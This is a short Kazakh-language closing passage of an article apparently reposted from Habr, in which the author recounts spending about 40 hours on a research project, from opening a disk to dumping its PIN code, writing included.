Мен осы зерттеумен екі демалыс және бірнеше кеш өткіздім. Барлығы шамамен 40 сағат. Басынан бастап (дискіні ашқан кезде) соңына дейін санау (PIN кодты төгу). Дәл сол 40 сағатқа осы мақаланы жазуға жұмсаған уақытым кіреді. Бұл өте қызықты сапар болды.

Ақпарат көзі: www.habr.com

пікір қалдыру